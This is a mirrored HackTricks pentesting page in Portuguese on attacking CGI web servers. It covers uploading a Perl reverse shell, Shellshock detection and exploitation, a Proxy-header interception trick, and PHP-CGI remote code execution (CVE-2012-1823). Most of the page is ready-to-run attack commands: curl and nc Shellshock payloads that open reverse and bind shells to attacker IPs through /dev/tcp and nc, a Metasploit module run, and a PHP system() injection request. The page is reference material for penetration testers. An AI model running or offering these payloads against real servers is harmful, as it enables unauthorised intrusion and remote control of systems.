mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 03:23:44 +00:00
86 lines
6.5 KiB
Markdown
86 lines
6.5 KiB
Markdown
# Informação
|
|
|
|
Os scripts **CGI são scripts perl**, então, se você comprometeu um servidor que pode executar scripts _**.cgi**_, você pode **fazer upload de um shell reverso perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **alterar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** \(`chmod +x`\) e **acessar** o shell reverso **a partir do navegador da web** para executá-lo.
|
|
Para testar as **vulnerabilidades CGI**, é recomendável usar `nikto -C all` \(e todos os plugins\)
|
|
|
|
# **ShellShock**
|
|
|
|
O Bash também pode ser usado para executar comandos passados para ele por aplicativos e é essa característica que afeta a vulnerabilidade. Um tipo de comando que pode ser enviado ao Bash permite que variáveis de ambiente sejam definidas. As variáveis de ambiente são valores dinâmicos e nomeados que afetam a maneira como os processos são executados em um computador. A vulnerabilidade reside no fato de que um **atacante pode adicionar código malicioso à variável de ambiente, que será executado assim que a variável for recebida**.
|
|
|
|
Explorando essa vulnerabilidade, a **página pode gerar um erro**.
|
|
|
|
Você pode **encontrar** essa vulnerabilidade notando que está usando uma **versão antiga do Apache** e **cgi\_mod** \(com pasta cgi\) ou usando **nikto**.
|
|
|
|
## **Teste**
|
|
|
|
A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você achar que uma página pode ser vulnerável, procure todas as páginas cgi e teste-as.
|
|
|
|
**Nmap**
|
|
```bash
|
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
|
```
|
|
## **Curl (refletido, cego e out-of-band)**
|
|
```bash
|
|
# Reflected
|
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
|
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
|
|
# Out-Of-Band Use Cookie as alternative to User-Agent
|
|
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
|
|
```
|
|
[**Shellsocker**](https://github.com/liamim/shellshocker)
|
|
|
|
Shellsocker é uma ferramenta que explora a vulnerabilidade Shellshock em servidores CGI. Ele permite que você execute comandos arbitrários em um servidor vulnerável. A ferramenta é fácil de usar e pode ser executada em um único comando.
|
|
```bash
|
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
|
```
|
|
## Exploração
|
|
```bash
|
|
#Bind Shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
|
#Reverse shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
|
|
#Reverse shell using curl
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
|
|
#Reverse shell using metasploit
|
|
> use multi/http/apache_mod_cgi_bash_env_exec
|
|
> set targeturi /cgi-bin/admin.cgi
|
|
> set rhosts 10.1.2.11
|
|
> run
|
|
```
|
|
# **Proxy \(MitM para solicitações de servidor Web\)**
|
|
|
|
CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP\_HOST"="web.com"
|
|
|
|
Como a variável HTTP\_PROXY pode ser usada pelo servidor web. Tente enviar um **cabeçalho** contendo: "**Proxy: <IP\_atacante>:<PORTA>**" e se o servidor realizar alguma solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.
|
|
|
|
# PHP antigo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
|
|
|
Basicamente, se o cgi estiver ativo e o php for "antigo" \(<5.3.12 / < 5.4.2\), você pode executar código.
|
|
Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\).
|
|
Então, para testar essa vulnerabilidade, você pode acessar, por exemplo, `/index.php?-s` \(observe o `-s`\), e o **código-fonte** do aplicativo aparecerá na resposta.
|
|
|
|
Então, para obter **RCE**, você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da solicitação**.
|
|
Exemplo:
|
|
```bash
|
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
|
```
|
|
**Mais informações sobre a vulnerabilidade e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Exemplo de CTF Writeup**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|